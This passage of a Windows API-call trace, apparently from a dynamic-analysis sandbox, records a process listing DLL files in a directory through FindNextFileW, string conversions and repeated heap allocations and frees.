RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0xa9c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.953] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.954] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0xa9c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.954] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.954] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0xa9c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.955] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.956] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.957] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.958] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.958] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.959] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.960] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.960] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.961] 